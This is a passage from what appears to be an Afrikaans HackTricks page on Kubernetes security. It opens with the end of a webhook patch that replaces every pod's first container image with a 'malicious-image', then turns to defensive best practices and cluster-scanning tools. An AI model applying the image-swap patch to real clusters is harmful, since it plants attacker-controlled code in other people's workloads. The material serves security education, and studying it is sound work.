Path:  "/spec/containers/0/image",
Value: "rewanthtammana/malicious-image",
})

Die bostaande fragment vervang die eerste container image in elke pod met rewanthtammana/malicious-image.

OPA Gatekeeper bypass

Kubernetes OPA Gatekeeper bypass

Beste praktyke

Uitskakeling van die automatiese montering van Service Account-tokens

  • Pods and Service Accounts: Standaard mount pods ’n service account token. Om sekuriteit te verbeter, laat Kubernetes toe om hierdie automount-funksie te deaktiveer.
  • How to Apply: Stel automountServiceAccountToken: false in die konfigurasie van service accounts of pods vanaf Kubernetes weergawe 1.6.

Restriktiewe gebruikerstoekenning in RoleBindings/ClusterRoleBindings

  • Selective Inclusion: Verseker dat slegs nodige gebruikers in RoleBindings of ClusterRoleBindings ingesluit is. Oudits gereeld en verwyder irrelevante gebruikers om noue sekuriteit te handhaaf.

Namespace-spesifieke Roles bo Cluster-wye Roles

  • Roles vs. ClusterRoles: Voorkeur vir die gebruik van Roles en RoleBindings vir namespace-spesifieke permisies eerder as ClusterRoles en ClusterRoleBindings, wat cluster-wyd toegepas word. Hierdie benadering bied fynere beheer en beperk die omvang van permisies.

Gebruik geoutomatiseerde gereedskap

GitHub - cyberark/KubiScan: A tool to scan Kubernetes cluster for risky permissions \xc2\xb7 GitHub

GitHub - aquasecurity/kube-hunter: Hunt for security weaknesses in Kubernetes clusters \xc2\xb7 GitHub

GitHub - aquasecurity/kube-bench: Checks whether Kubernetes is deployed according to security best practices as defined in the CIS Kubernetes Benchmark \xc2\xb7 GitHub

Verwysings

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks